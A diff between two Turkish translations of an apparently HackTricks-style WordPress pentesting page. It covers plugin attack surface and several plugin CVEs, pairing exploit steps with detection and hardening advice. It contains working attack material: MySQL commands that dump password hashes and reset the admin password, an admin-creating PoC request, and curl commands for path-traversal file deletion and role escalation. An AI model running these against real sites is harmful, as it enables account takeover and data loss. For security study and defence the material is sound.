- _**Privilege Escalation:**_ WordPress'te bir kullanıcı oluşturur.
|
||||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Özel plugin (backdoor) yükleyerek WordPress'e ekleme yapar.
|
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Özel plugin'inizi (backdoor) WordPress'e yükler.
|
||||||
- _**(RCE) Built-In Plugin Edit:**_ WordPress'teki Built-In Plugins'i düzenler.
|
- _**(RCE) Built-In Plugin Edit:**_ WordPress'teki Built-In Plugin'leri düzenler.
|
||||||
- _**(RCE) Built-In Theme Edit:**_ WordPress'teki Built-In Themes'i düzenler.
|
- _**(RCE) Built-In Theme Edit:**_ WordPress'teki Built-In Theme'leri düzenler.
|
||||||
- _**(Custom) Custom Exploits:**_ Üçüncü taraf WordPress Plugins/Themes için Custom Exploits sağlar.
|
- _**(Custom) Custom Exploits:**_ Üçüncü taraf WordPress Plugin/Theme'leri için özel exploitler sağlar.
|
||||||
|
|
||||||
## Post Exploitation
|
## Post Exploitation
|
||||||
|
|
||||||
@ -327,7 +327,7 @@ Kullanıcı adları ve parolaları çıkar:
|
|||||||
```bash
|
```bash
|
||||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||||||
```
|
```
|
||||||
Admin parolasını değiştir:
|
admin şifresini değiştir:
|
||||||
```bash
|
```bash
|
||||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
||||||
```
|
```
|
||||||
@ -335,25 +335,25 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
|
|||||||
|
|
||||||
### Saldırı Yüzeyi
|
### Saldırı Yüzeyi
|
||||||
|
|
||||||
Bir Wordpress eklentisinin işlevselliği nasıl açığa çıkarabileceğini bilmek, o işlevsellikteki zafiyetleri bulmak için kilit önemdedir. Aşağıdaki madde işaretlerinde bir eklentinin işlevselliği nasıl açığa çıkarabileceğini ve zafiyetli eklenti örneklerini [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) adresinde bulabilirsiniz.
|
Bir Wordpress eklentisinin işlevselliği nasıl ortaya koyabildiğini bilmek, o işlevsellikteki zafiyetleri bulmak için kritiktir. Bir eklentinin işlevselliği nasıl ortaya koyabileceğini aşağıdaki madde işaretlerinde bulabilirsiniz ve bazı savunmasız eklenti örnekleri için [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) sayfasına bakın.
|
||||||
|
|
||||||
- **`wp_ajax`**
|
- **`wp_ajax`**
|
||||||
|
|
||||||
Bir eklentinin fonksiyonları kullanıcılara açığa çıkarma yollarından biri AJAX handler'ları aracılığıyladır. Bunlar logic, authorization veya authentication ile ilgili hatalar içerebilir. Dahası, bu fonksiyonların hem authentication hem de authorization'ı wordpress nonce'un varlığına dayandırması oldukça sık görülür; bu nonce'a **Wordpress instance'ında kimliği doğrulanmış herhangi bir kullanıcı sahip olabilir** (role bağlı olmaksızın).
|
Bir eklentinin işlevlerini kullanıcılara açmasının yollarından biri AJAX işleyicileri aracılığıyladır. Bunlar mantık, authorization veya authentication hataları içerebilir. Ayrıca, bu işlevlerin sıklıkla hem authentication hem de authorization'ı bir Wordpress nonce'unun varlığına dayandırdığını görürüz; bu nonce **Wordpress örneğinde kimliği doğrulanmış herhangi bir kullanıcının sahip olabileceği** (rolünden bağımsız olarak) bir değerdir.
|
||||||
|
|
||||||
Bir eklentide bir fonksiyonu açığa çıkarmak için kullanılabilecek fonksiyonlar şunlardır:
|
These are the functions that can be used to expose a function in a plugin:
|
||||||
```php
|
```php
|
||||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||||
```
|
```
|
||||||
**`nopriv` kullanımı endpoint'in herhangi bir kullanıcı tarafından (oturum açmamış olanlar dahil) erişilebilir olmasını sağlar.**
|
**`nopriv` kullanımı endpoint'e herhangi bir kullanıcı tarafından erişilebilir hale getirir (hatta kimlik doğrulanmamış kullanıcılar dahil).**
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> Ayrıca, eğer fonksiyon sadece kullanıcı yetkilendirmesini `wp_verify_nonce` fonksiyonu ile kontrol ediyorsa, bu fonksiyon yalnızca kullanıcının oturum açmış olduğunu doğrular; genellikle kullanıcının rolünü kontrol etmez. Bu yüzden düşük ayrıcalıklı kullanıcılar yüksek ayrıcalıklı işlemlere erişim sağlayabilir.
|
> Ek olarak, eğer fonksiyon sadece kullanıcının yetkilendirmesini `wp_verify_nonce` fonksiyonu ile kontrol ediyorsa, bu fonksiyon genellikle sadece kullanıcının oturum açmış olduğunu kontrol eder; kullanıcının rolünü genellikle kontrol etmez. Bu nedenle düşük yetkili kullanıcılar yüksek ayrıcalıklı işlemlere erişebilir.
|
||||||
|
|
||||||
- **REST API**
|
- **REST API**
|
||||||
|
|
||||||
wordpress'te `register_rest_route` fonksiyonunu kullanarak fonksiyonları REST API üzerinden açığa çıkarmak da mümkündür:
|
Ayrıca WordPress'te fonksiyonları `register_rest_route` fonksiyonunu kullanarak bir REST API kaydederek erişime açmak da mümkündür:
|
||||||
```php
|
```php
|
||||||
register_rest_route(
|
register_rest_route(
|
||||||
$this->namespace, '/get/', array(
|
$this->namespace, '/get/', array(
|
||||||
@ -363,21 +363,21 @@ $this->namespace, '/get/', array(
|
|||||||
)
|
)
|
||||||
);
|
);
|
||||||
```
|
```
|
||||||
`permission_callback`, belirli bir kullanıcının API metodunu çağırmaya yetkili olup olmadığını kontrol eden bir callback fonksiyonudur.
|
The `permission_callback` belirli bir kullanıcının API yöntemini çağırmaya yetkili olup olmadığını kontrol eden bir callback fonksiyonudur.
|
||||||
|
|
||||||
**Eğer dahili `__return_true` fonksiyonu kullanılırsa, bu kullanıcı izinleri kontrolünü basitçe atlar.**
|
**Yerleşik `__return_true` fonksiyonu kullanılırsa, kullanıcı izinleri kontrolünü basitçe atlar.**
|
||||||
|
|
||||||
- **PHP dosyasına doğrudan erişim**
|
- **PHP dosyasına doğrudan erişim**
|
||||||
|
|
||||||
Elbette, Wordpress PHP kullanır ve eklenti içindeki dosyalar web'den doğrudan erişilebilir. Bu nedenle, bir eklenti yalnızca dosyaya erişilmesiyle tetiklenen herhangi bir savunmasız işlevsellik açığa çıkarıyorsa, bu herhangi bir kullanıcı tarafından sömürülebilir.
|
Elbette, Wordpress PHP kullanır ve plugin içindeki dosyalar web üzerinden doğrudan erişilebilir. Bu yüzden, bir plugin yalnızca dosyaya erişilerek tetiklenen herhangi bir savunmasız fonksiyonellik sunuyorsa, bu herhangi bir kullanıcı tarafından exploit edilebilir olacak.
|
||||||
|
|
||||||
### Trusted-header REST taklit (WooCommerce Payments ≤ 5.6.1)
|
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||||||
|
|
||||||
Bazı eklentiler dahili entegrasyonlar veya reverse proxy'ler için “trusted header” kısayolları uygular ve REST istekleri için mevcut kullanıcı bağlamını ayarlamak üzere bu header'ı kullanır. Eğer header yukarı akıştaki bir bileşen tarafından istekle kriptografik olarak bağlanmamışsa, bir saldırgan onu sahteleyebilir ve ayrıcalıklı REST yollarına administrator olarak erişebilir.
|
Bazı pluginler dahili entegrasyonlar veya reverse proxies için “trusted header” kısayolları uygular ve daha sonra REST istekleri için mevcut kullanıcı bağlamını ayarlamak için bu header'ı kullanır. Eğer header upstream bir bileşen tarafından kriptografik olarak isteğe bağlanmamışsa, bir saldırgan onu spoof yapabilir ve ayrıcalıklı REST rotalarına administrator olarak erişebilir.
|
||||||
|
|
||||||
- Impact: kimlik doğrulanmamış (unauthenticated) privilege escalation ile admin'e yükselme; core users REST route aracılığıyla yeni bir administrator oluşturarak.
|
- Etki: doğrulanmamış privilege escalation ile admin yetkisine yükseltme — core users REST route üzerinden yeni bir administrator oluşturarak.
|
||||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (kullanıcı ID'sini 1 olarak zorlar; tipik olarak ilk administrator hesabı).
|
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (kullanıcı ID'si 1'i zorlar, genellikle ilk administrator hesabı).
|
||||||
- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array.
|
- İstismar edilen rota: `POST /wp-json/wp/v2/users` with an elevated role array.
|
||||||
|
|
||||||
PoC
|
PoC
|
||||||
```http
|
```http
|
||||||
@ -393,38 +393,38 @@ Content-Length: 114
|
|||||||
```
|
```
|
||||||
Neden işe yarıyor
|
Neden işe yarıyor
|
||||||
|
|
||||||
- Eklenti, istemci tarafından kontrol edilen bir header'ı kimlik doğrulama durumuna eşliyor ve yetki kontrollerini atlıyor.
|
- Eklenti, istemci tarafından kontrol edilen bir header'ı kimlik doğrulama durumuna eşleyip yetenek kontrollerini atlıyor.
|
||||||
- WordPress core bu route için `create_users` yetkisini bekler; eklenti hilesi bunu atlayarak başlıktan doğrudan geçerli kullanıcı bağlamını ayarlar.
|
- WordPress core bu route için `create_users` yeteneğini bekler; eklenti hilesi header'dan doğrudan current user context ayarlayarak bunu atlıyor.
|
||||||
|
|
||||||
Beklenen başarı göstergeleri
|
Beklenen başarı göstergeleri
|
||||||
|
|
||||||
- Oluşturulan kullanıcıyı tanımlayan JSON gövdesi ile HTTP 201.
|
- Oluşturulan kullanıcıyı tanımlayan bir JSON gövdesi ile HTTP 201.
|
||||||
- `wp-admin/users.php` içinde görünen yeni bir admin kullanıcı.
|
- `wp-admin/users.php` içinde görünen yeni bir admin kullanıcı.
|
||||||
|
|
||||||
Tespit kontrol listesi
|
Tespit kontrol listesi
|
||||||
|
|
||||||
- `getallheaders()`, `$_SERVER['HTTP_...']` veya kullanıcı bağlamını ayarlamak için özel header'ları okuyan vendor SDK'ları (ör. `wp_set_current_user()`, `wp_set_auth_cookie()`) için grep yapın.
|
- `getallheaders()`, `$_SERVER['HTTP_...']` veya özel headerları okuyup kullanıcı bağlamı ayarlayan vendor SDK'ları (ör. `wp_set_current_user()`, `wp_set_auth_cookie()`) için grep ile ara.
|
||||||
- İstek header'larına dayanan ve sağlam `permission_callback` kontrollerinden yoksun ayrıcalıklı callback'ler içeren REST kayıtlarını inceleyin.
|
- Yetkisiz callback'lerin sağlam `permission_callback` kontrolleri olmadan REST kayıtlarında kullanılıp kullanılmadığını gözden geçir ve bunun yerine request headerlarına güvenilip güvenilmediğine bak.
|
||||||
- Yalnızca header değerleri ile korunan REST handler'ları içinde çekirdek kullanıcı yönetimi fonksiyonları (`wp_insert_user`, `wp_create_user`) kullanımına bakın.
|
- REST handler'ları içinde yalnızca header değerleriyle kapatılmış core kullanıcı yönetim fonksiyonlarının (`wp_insert_user`, `wp_create_user`) kullanımına bak.
|
||||||
|
|
||||||
Sertleştirme
|
Sertleştirme
|
||||||
|
|
||||||
- Kimlik doğrulamayı veya yetkilendirmeyi asla istemci kontrollü header'lardan türetmeyin.
|
- Kimlik doğrulama veya yetkilendirmeyi istemci kontrollü header'lardan türetmeyin.
|
||||||
- Eğer bir reverse proxy kimlik enjekte etmek zorundaysa, güveni proxy'de sonlandırın ve gelen kopyaları kenarda temizleyin (ör. edge'de `unset X-Wcpay-Platform-Checkout-User`), ardından imzalı bir token iletin ve sunucu tarafında doğrulayın.
|
- Eğer bir reverse proxy kimlik enjekte etmek zorundaysa, güveni proxynin kenarında sonlandırın ve gelen kopyaları temizleyin (ör. kenarda `unset X-Wcpay-Platform-Checkout-User`), sonra imzalı bir token ile iletin ve bunu server-side doğrulayın.
|
||||||
- Yetkili işlemler yapan REST route'ları için `current_user_can()` kontrolleri ve katı bir `permission_callback` gerektirin (asla `__return_true` kullanmayın).
|
- Ayrıcalıklı işlemler yapan REST route'ları için `current_user_can()` kontrolleri ve katı bir `permission_callback` zorunlu kılın (ASLA `__return_true` kullanmayın).
|
||||||
- Header “impersonation” yerine birinci taraf auth (cookies, application passwords, OAuth) tercih edin.
|
- Header “impersonation” yerine öncelikle first-party auth (cookies, application passwords, OAuth) kullanın.
|
||||||
|
|
||||||
Referanslar: genel vaka ve daha geniş analiz için bu sayfanın sonundaki linklere bakın.
|
Referanslar: halka açık bir vaka ve daha geniş analiz için bu sayfanın sonundaki bağlantılara bakın.
|
||||||
|
|
||||||
### wp_ajax_nopriv üzerinden Yetkilendirilmemiş Keyfi Dosya Silme (Litho Theme <= 3.0)
|
### Kimlik doğrulama olmadan rastgele dosya silme wp_ajax_nopriv aracılığıyla (Litho Theme <= 3.0)
|
||||||
|
|
||||||
WordPress tema ve eklentileri genellikle `wp_ajax_` ve `wp_ajax_nopriv_` hook'ları üzerinden AJAX işleyicileri açığa çıkarır. **_nopriv_** varyantı kullanıldığında **callback yetkilendirilmemiş ziyaretçiler tarafından erişilebilir hale gelir**, bu yüzden herhangi bir hassas işlem ayrıca şunları uygulamalıdır:
|
WordPress theme'leri ve plugin'leri sıklıkla `wp_ajax_` ve `wp_ajax_nopriv_` hook'ları aracılığıyla AJAX handler'ları açığa çıkarır. **_nopriv_** varyantı kullanıldığında **callback kimlik doğrulaması olmayan ziyaretçiler tarafından erişilebilir hale gelir**, bu yüzden herhangi bir hassas işlem ayrıca şunları uygulamalıdır:
|
||||||
|
|
||||||
1. Bir **yetki kontrolü** (ör. `current_user_can()` veya en azından `is_user_logged_in()`), ve
|
1. Bir **capability check** (örn. `current_user_can()` veya en azından `is_user_logged_in()`), ve
|
||||||
2. `check_ajax_referer()` / `wp_verify_nonce()` ile doğrulanan bir **CSRF nonce'u**, ve
|
2. `check_ajax_referer()` / `wp_verify_nonce()` ile doğrulanan bir **CSRF nonce**, ve
|
||||||
3. **Sıkı giriş sanitizasyonu/doğrulaması**.
|
3. **Sıkı input sanitizasyonu / validasyonu**.
|
||||||
|
|
||||||
Litho çok amaçlı tema (< 3.1) *Remove Font Family* özelliğinde bu 3 kontrolü unutmuş ve aşağıdaki kodu (basitleştirilmiş) göndermiştir:
|
Litho multipurpose theme (< 3.1) bu 3 kontrolü *Remove Font Family* özelliğinde unutmuş ve sonuç olarak aşağıdaki kodu (basitleştirilmiş) göndermiştir:
|
||||||
```php
|
```php
|
||||||
function litho_remove_font_family_action_data() {
|
function litho_remove_font_family_action_data() {
|
||||||
if ( empty( $_POST['fontfamily'] ) ) {
|
if ( empty( $_POST['fontfamily'] ) ) {
|
||||||
@ -443,15 +443,15 @@ die();
|
|||||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||||
```
|
```
|
||||||
Issues introduced by this snippet:
|
Bu kod parçasının yol açtığı sorunlar:
|
||||||
|
|
||||||
* **Kimlik doğrulaması olmadan erişim** – the `wp_ajax_nopriv_` hook is registered.
|
* **Yetkilendirilmemiş erişim** – `wp_ajax_nopriv_` hook'u kayıtlı.
|
||||||
* **No nonce / capability check** – herhangi bir ziyaretçi endpoint'e erişebilir.
|
* **Nonce / capability check yok** – herhangi bir ziyaretçi endpoint'i çağırabilir.
|
||||||
* **Yol temizleme yok** – kullanıcı tarafından kontrol edilen `fontfamily` stringi filtrelenmeden bir dosya sistemi yoluna ekleniyor, bu da klasik `../../` traversal'a izin veriyor.
|
* **Yol temizleme (sanitisation) yok** – kullanıcı kontrolündeki `fontfamily` string'i filtrelenmeden bir dosya sistemi yoluna ekleniyor; bu da klasik `../../` traversal'a izin veriyor.
|
||||||
|
|
||||||
#### Exploitation
|
#### İstismar
|
||||||
|
|
||||||
Bir saldırgan tek bir HTTP POST isteği göndererek **uploads temel dizini altındaki** (genellikle `<wp-root>/wp-content/uploads/`) herhangi bir dosya veya dizini silebilir:
|
Bir saldırgan tek bir HTTP POST isteği göndererek **uploads ana dizininin altındaki** herhangi bir dosya veya dizini silebilir (normalde `<wp-root>/wp-content/uploads/`):
|
||||||
```bash
|
```bash
|
||||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||||
-d 'action=litho_remove_font_family_action_data' \
|
-d 'action=litho_remove_font_family_action_data' \
|
||||||
@ -463,9 +463,9 @@ Other impactful targets include plugin/theme `.php` files (to break security plu
|
|||||||
|
|
||||||
#### Tespit kontrol listesi
|
#### Tespit kontrol listesi
|
||||||
|
|
||||||
* `add_action( 'wp_ajax_nopriv_...')` içinde filesystem helper'larını (`copy()`, `unlink()`, `$wp_filesystem->delete()`, vb.) çağıran herhangi bir callback.
|
* `add_action( 'wp_ajax_nopriv_...')` callback'larında dosya sistemi yardımcılarını (`copy()`, `unlink()`, `$wp_filesystem->delete()`, vb.) çağıran herhangi bir şey.
|
||||||
* Temizlenmemiş kullanıcı girdilerinin path'lere birleştirilmesi (`$_POST`, `$_GET`, `$_REQUEST` öğelerine bakın).
|
* Temizlenmemiş kullanıcı girdisinin dosya yollarına eklenmesi (bak: `$_POST`, `$_GET`, `$_REQUEST`).
|
||||||
* `check_ajax_referer()` ve `current_user_can()`/`is_user_logged_in()` çağrılarının eksik olması.
|
* `check_ajax_referer()` ve `current_user_can()`/`is_user_logged_in()` yokluğu.
|
||||||
|
|
||||||
#### Sertleştirme
|
#### Sertleştirme
|
||||||
```php
|
```php
|
||||||
@ -487,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
|||||||
// 🔒 NO wp_ajax_nopriv_ registration
|
// 🔒 NO wp_ajax_nopriv_ registration
|
||||||
```
|
```
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> **Her zaman** diske yapılan herhangi bir write/delete işlemini yetkili kabul edin ve çift kontrol edin:
|
> **Always** disk üzerinde yapılacak herhangi bir yazma/silme işlemini ayrıcalıklı (privileged) olarak kabul edin ve şu konuları iki kez kontrol edin:
|
||||||
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
|
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
|
### Privilege escalation via eskimiş rolün geri yüklenmesi ve eksik yetkilendirme (ASE "View Admin as Role")
|
||||||
|
|
||||||
Birçok eklenti, orijinal rol(leri) user meta içinde kaydederek daha sonra geri yüklenebilmeleri için "view as role" veya geçici rol-değiştirme özelliği uygular. Eğer restorasyon yolu yalnızca request parametrelerine (ör. `$_REQUEST['reset-for']`) ve eklenti tarafından tutulan bir listeye dayanıyor ve capabilities kontrolü ile geçerli bir nonce doğrulaması yapılmıyorsa, bu bir vertical privilege escalation'a dönüşür.
|
Birçok eklenti, orijinal rol(leri) daha sonra geri yüklenebilmesi için user meta içine kaydederek "view as role" veya geçici rol değiştirme özelliği uygular. Eğer geri yükleme yolu yalnızca istek parametrelerine (ör. `$_REQUEST['reset-for']`) ve eklenti tarafından tutulan bir listeye dayanıyor ve capabilities kontrolü ile geçerli bir nonce doğrulaması yapılmıyorsa, bu dikey bir privilege escalation'e dönüşür.
|
||||||
|
|
||||||
Gerçek bir örnek Admin and Site Enhancements (ASE) eklentisinde (≤ 7.6.2.1) bulundu. Reset dalı, kullanıcı adı dahili bir dizi `$options['viewing_admin_as_role_are']` içinde görünüyorsa `reset-for=<username>` bazında rolleri geri yükledi, fakat mevcut rolleri kaldırmadan ve user meta `_asenha_view_admin_as_original_roles` içindeki kaydedilmiş rolleri yeniden eklemeden önce ne `current_user_can()` kontrolü ne de nonce doğrulaması yaptı:
|
Gerçek bir örnek Admin and Site Enhancements (ASE) eklentisinde (≤ 7.6.2.1) bulundu. Reset dalı, kullanıcı adı dahili bir dizi `$options['viewing_admin_as_role_are']` içinde görünüyorsa `reset-for=<username>` bazında rolleri geri yüklüyordu, fakat mevcut rolleri kaldırıp kullanıcı metasından `_asenha_view_admin_as_original_roles` ile kaydedilmiş rolleri yeniden eklemeden önce ne `current_user_can()` kontrolü ne de nonce doğrulaması yapıyordu:
|
||||||
```php
|
```php
|
||||||
// Simplified vulnerable pattern
|
// Simplified vulnerable pattern
|
||||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||||
@ -511,19 +511,19 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Neden istismar edilebilir
|
Neden sömürülebilir
|
||||||
|
|
||||||
- Sunucu tarafı yetkilendirmesi olmadan `$_REQUEST['reset-for']` ve bir plugin seçeneğine güvenir.
|
- `$_REQUEST['reset-for']` ve bir eklenti seçeneğine sunucu tarafı yetkilendirmesi olmadan güveniyor.
|
||||||
- Bir kullanıcı daha önce `_asenha_view_admin_as_original_roles` içinde daha yüksek ayrıcalıklara sahipse ve yetkisi düşürüldüyse, sıfırlama yoluna erişerek bunları geri yükleyebilir.
|
- Bir kullanıcı daha önce `_asenha_view_admin_as_original_roles` içinde yüksek ayrıcalıklar kaydetmişse ve yetkileri düşürülmüşse, reset path'e erişerek bunları geri yükleyebilir.
|
||||||
- Bazı dağıtımlarda, kimliği doğrulanmış herhangi bir kullanıcı `viewing_admin_as_role_are` içinde hâlâ bulunan başka bir kullanıcı adı için bir reset tetikleyebilir (bozuk yetkilendirme).
|
- Bazı dağıtımlarda, herhangi bir kimliği doğrulanmış kullanıcı `viewing_admin_as_role_are` içinde hâlâ bulunan başka bir kullanıcı adı için reset tetikleyebilir (bozuk yetkilendirme).
|
||||||
|
|
||||||
Saldırı önkoşulları
|
Saldırı önkoşulları
|
||||||
|
|
||||||
- Özelliğin etkin olduğu savunmasız plugin sürümü.
|
- Özelliği etkinleştirilmiş zafiyetli eklenti sürümü.
|
||||||
- Hedef hesapta, önceki kullanımdan user meta'da saklanan eski yüksek ayrıcalıklı bir rol bulunması.
|
- Hedef hesabın, önceki kullanımdan user meta içinde saklanmış eskimiş yüksek ayrıcalıklı bir rolü var.
|
||||||
- Herhangi bir kimliği doğrulanmış oturum; reset akışında nonce/capability kontrolünün eksik olması.
|
- Herhangi bir kimliği doğrulanmış oturum; reset akışında nonce/capability eksik.
|
||||||
|
|
||||||
Exploitation (example)
|
İstismar (örnek)
|
||||||
```bash
|
```bash
|
||||||
# While logged in as the downgraded user (or any auth user able to trigger the code path),
|
# While logged in as the downgraded user (or any auth user able to trigger the code path),
|
||||||
# hit any route that executes the role-switcher logic and include the reset parameter.
|
# hit any route that executes the role-switcher logic and include the reset parameter.
|
||||||
@ -531,76 +531,125 @@ Exploitation (example)
|
|||||||
curl -s -k -b 'wordpress_logged_in=...' \
|
curl -s -k -b 'wordpress_logged_in=...' \
|
||||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||||
```
|
```
|
||||||
Zafiyetli sürümlerde bu, mevcut rolleri kaldırır ve kaydedilmiş orijinal rolleri (ör., `administrator`) yeniden ekler; bu da yetkilerin etkin bir biçimde yükseltilmesine yol açar.
|
Etkilenebilir sürümlerde bu, mevcut rolleri kaldırır ve kaydedilmiş orijinal rolleri (ör. `administrator`) yeniden ekler; bu da ayrıcalık yükseltimine yol açar.
|
||||||
|
|
||||||
Detection checklist
|
Detection checklist
|
||||||
|
|
||||||
- Kullanıcı meta verilerinde "orijinal roller"i (ör., `_asenha_view_admin_as_original_roles`) saklayan rol-değiştirme özelliklerini arayın.
|
- Kullanıcı meta verisinde “original roles” değerini saklayan rol-değiştirme özelliklerini arayın (ör. `_asenha_view_admin_as_original_roles`).
|
||||||
- Aşağıdaki özelliklere sahip sıfırlama/geri yükleme yollarını tespit edin:
|
- Sıfırlama/geri yükleme yollarını belirleyin ki:
|
||||||
- Kullanıcı adlarını `$_REQUEST` / `$_GET` / `$_POST`'ten okuyan.
|
- Kullanıcı adlarını `$_REQUEST` / `$_GET` / `$_POST`'ten okuyan.
|
||||||
- `current_user_can()` ve `wp_verify_nonce()` / `check_admin_referer()` olmadan `add_role()` / `remove_role()` ile rolleri değiştiren.
|
- Rolleri `add_role()` / `remove_role()` ile, `current_user_can()` ve `wp_verify_nonce()` / `check_admin_referer()` olmadan değiştiren.
|
||||||
- Yetkilendirmeyi aktörün yetenekleri yerine bir plugin option dizisine (ör., `viewing_admin_as_role_are`) dayandıran.
|
- Yetkilendirmeyi aktörün yetenekleri yerine bir eklenti seçenek dizisine (ör. `viewing_admin_as_role_are`) dayandıran.
|
||||||
|
|
||||||
Hardening
|
Hardening
|
||||||
|
|
||||||
- Her durum-değiştiren dalda yetenek kontrollerini zorunlu kılın (ör., `current_user_can('manage_options')` veya daha sıkı).
|
- Her durum-değiştiren dalda yetenek kontrollerini uygulayın (ör. `current_user_can('manage_options')` veya daha sıkı).
|
||||||
- Tüm rol/izin değişiklikleri için nonces gerektirip bunları doğrulayın: `check_admin_referer()` / `wp_verify_nonce()`.
|
- Tüm rol/izin değişiklikleri için nonce zorunlu kılın ve doğrulayın: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||||
- İstekle sağlanan kullanıcı adlarına asla güvenmeyin; hedef kullanıcıyı sunucu tarafında kimliği doğrulanmış aktöre ve açık politikaya göre belirleyin.
|
- İstekle gelen kullanıcı adlarına asla güvenmeyin; hedef kullanıcıyı sunucu tarafında, kimlik doğrulanmış aktöre ve açık politikalara göre belirleyin.
|
||||||
- Profil/rol güncellemelerinde "orijinal roller" durumunu geçersiz kılın; böylece eski yüksek yetkili geri yüklemelerin önüne geçin:
|
- Profil/rol güncellemelerinde “original roles” durumunu geçersiz kılın, böylece eski yüksek ayrıcalıkların geri yüklenmesini engelleyin:
|
||||||
```php
|
```php
|
||||||
add_action( 'profile_update', function( $user_id ) {
|
add_action( 'profile_update', function( $user_id ) {
|
||||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||||
}, 10, 1 );
|
}, 10, 1 );
|
||||||
```
|
```
|
||||||
- Geçici rol değişimleri için minimal durum saklamayı ve zaman sınırlı, capability-guarded tokenlar kullanmayı düşünün.
|
- Geçici rol değişiklikleri için mümkün olan en az durumu saklamayı ve zaman sınırlı, yetki-korumalı belirteçler kullanmayı düşünün.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
### WordPress/plugin CVE'leri için WAF değerlendirmeleri
|
### Kimlik doğrulanmamış yetki yükseltme — public `init` üzerinde cookie‑trusted user switching (Service Finder “sf-booking”)
|
||||||
|
|
||||||
Genel edge/server WAF'lar geniş desenlere (SQLi, XSS, LFI) göre ayarlanmıştır. Birçok yüksek etkili WordPress/plugin hatası uygulamaya özgü mantık/auth hatalarıdır ve motor WordPress rotalarını ve eklenti semantiğini anlamıyorsa zararsız trafik gibi görünür.
|
Bazı pluginler, user-switching yardımcılarını public `init` hook'una bağlıyor ve kimliği bir istemci tarafından kontrol edilen cookie'den türetiyor. Eğer kod, kimlik doğrulama, yetki ve geçerli bir nonce doğrulamadan `wp_set_auth_cookie()` çağırıyorsa, herhangi bir kimlik doğrulanmamış ziyaretçi rastgele bir kullanıcı ID'si olarak giriş yapmayı zorlayabilir.
|
||||||
|
|
||||||
Saldırı notları
|
Tipik zafiyet deseni (Service Finder Bookings ≤ 6.1'den basitleştirilmiş):
|
||||||
|
```php
|
||||||
|
function service_finder_submit_user_form(){
|
||||||
|
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
|
||||||
|
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
|
||||||
|
service_finder_switch_user($user_id);
|
||||||
|
}
|
||||||
|
if ( isset($_GET['switch_back']) ) {
|
||||||
|
service_finder_switch_back();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
add_action('init', 'service_finder_submit_user_form');
|
||||||
|
|
||||||
- Temiz payloadlarla eklenti-özgü endpointleri hedefleyin: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
function service_finder_switch_back() {
|
||||||
- Önce unauth yollarını deneyin (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Varsayılan payloads genellikle obfuscation yapmadan başarılı olur.
|
if ( isset($_COOKIE['original_user_id']) ) {
|
||||||
- Tipik yüksek etkili vakalar: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
|
$uid = intval($_COOKIE['original_user_id']);
|
||||||
|
if ( get_userdata($uid) ) {
|
||||||
|
wp_set_current_user($uid);
|
||||||
|
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
|
||||||
|
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
|
||||||
|
setcookie('original_user_id', '', time() - 3600, '/');
|
||||||
|
wp_redirect( admin_url('admin.php?page=candidates') );
|
||||||
|
exit;
|
||||||
|
}
|
||||||
|
wp_die('Original user not found.');
|
||||||
|
}
|
||||||
|
wp_die('No original user found to switch back to.');
|
||||||
|
